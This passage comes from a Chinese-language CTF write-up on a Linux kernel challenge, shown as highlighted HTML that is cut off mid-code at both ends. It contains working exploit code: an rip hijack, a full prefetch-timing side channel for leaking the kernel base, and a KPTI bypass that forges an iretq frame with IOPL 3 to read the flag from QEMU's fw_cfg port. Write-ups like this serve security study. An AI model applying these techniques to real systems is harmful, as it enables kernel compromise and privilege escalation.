style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, payload, PAGE_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // pipe 会 alloc_page</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
<p>可以看到成功劫持了 rip。</p>
<h3 id="leak" class="scroll-target"><a href="#leak"><code class="hash inline-code">#</code>leak</a></h3>
<p>纯板子，由于这个题用的是 host cpu，所以用预取攻击</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> KERNEL_LOWER_BOUND</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ffffffff80000000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">ull</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> KERNEL_UPPER_BOUND</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ffffffffc0000000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">ull</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> STEP_KERNEL</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">200000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">ull</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> SCAN_START_KERNEL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> KERNEL_LOWER_BOUND</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> SCAN_END_KERNEL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> KERNEL_UPPER_BOUND</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ARR_SIZE_KERNEL</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">SCAN_END_KERNEL </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> SCAN_START_KERNEL</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> STEP_KERNEL</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> DUMMY_ITERATIONS</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 10</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#define</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ITERATIONS</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 10000</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> sidechannel</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> addr</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> start, end;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  asm</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> volatile</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">mfence</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">rdtscp</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">shl $32, %%rdx</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">or %%rdx, %%rax</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">mov %%rax, %0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">lfence</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">prefetchnta </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">%2</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">prefetcht2 </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">%2</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">lfence</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">rdtscp</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">shl $32, %%rdx</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">or %%rdx, %%rax</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">mov %%rax, %1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">    "</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">mfence</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\t</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    : </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">=r</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">start</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">=r</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">end</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    : </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">r</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">addr</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    : </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">rax</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">rcx</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">rdx</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">cc</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">memory</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> start;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> prefetch</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> arr_size </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ARR_SIZE_KERNEL;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> scan_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> SCAN_START_KERNEL;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step_size </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> STEP_KERNEL;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">data </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">malloc</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">arr_size </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> sizeof</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">	memset</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">data, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, arr_size </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> sizeof</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> min </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ~</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, addr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ~</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ITERATIONS </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> DUMMY_ITERATIONS; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">	</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">		for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> arr_size; idx</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">		</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">			uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> test </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> scan_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step_size;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">			syscall</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">104</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">			uint64_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> time </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> sidechannel</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">test</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">			if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> DUMMY_ITERATIONS</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><br><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">				data</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> time;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">		</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">	</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> arr_size; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">	</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">		data</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ITERATIONS;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">		if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">data</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> min</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">		</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">			min </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> data</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">			addr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> scan_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step_size;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">		</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">	</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">	free</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">data</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> addr;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
<h3 id="控制执行流" class="scroll-target"><a href="#%E6%8E%A7%E5%88%B6%E6%89%A7%E8%A1%8C%E6%B5%81"><code class="hash inline-code">#</code>控制执行流</a></h3>
<p>由于劫持 rip 的位置是在中断上下文，而且题目还开启了 KPTI，所以常规的返回用户态提权的 rop 应该是没办法拿到 shell 的。</p>
<p>这里我用的是 kqx 博客里提到的 IOPL 技术，为了绕过 KPTI，需要执行 <code class="inline-code">swapgs_restore_regs_and_return_to_usermode</code>，然后伪造一个 iretq frame 就好。</p>
<p>IOPL 技术的核心其实就是在伪造这个 frame 的 RFLAGS 时，修改其 IOPL 位为 3，当控制流返回用户态时，由于 <code class="inline-code">ring &lt;= IOPL</code>，可以执行 <code class="inline-code">in</code> <code class="inline-code">out</code> 指令，从而可以直接去读 qemu 的 <code class="inline-code">fw_cfg</code> 端口，获取 flag。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">void</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> win</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">	outw</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> INITRD_SIZE; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">		initrd</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span 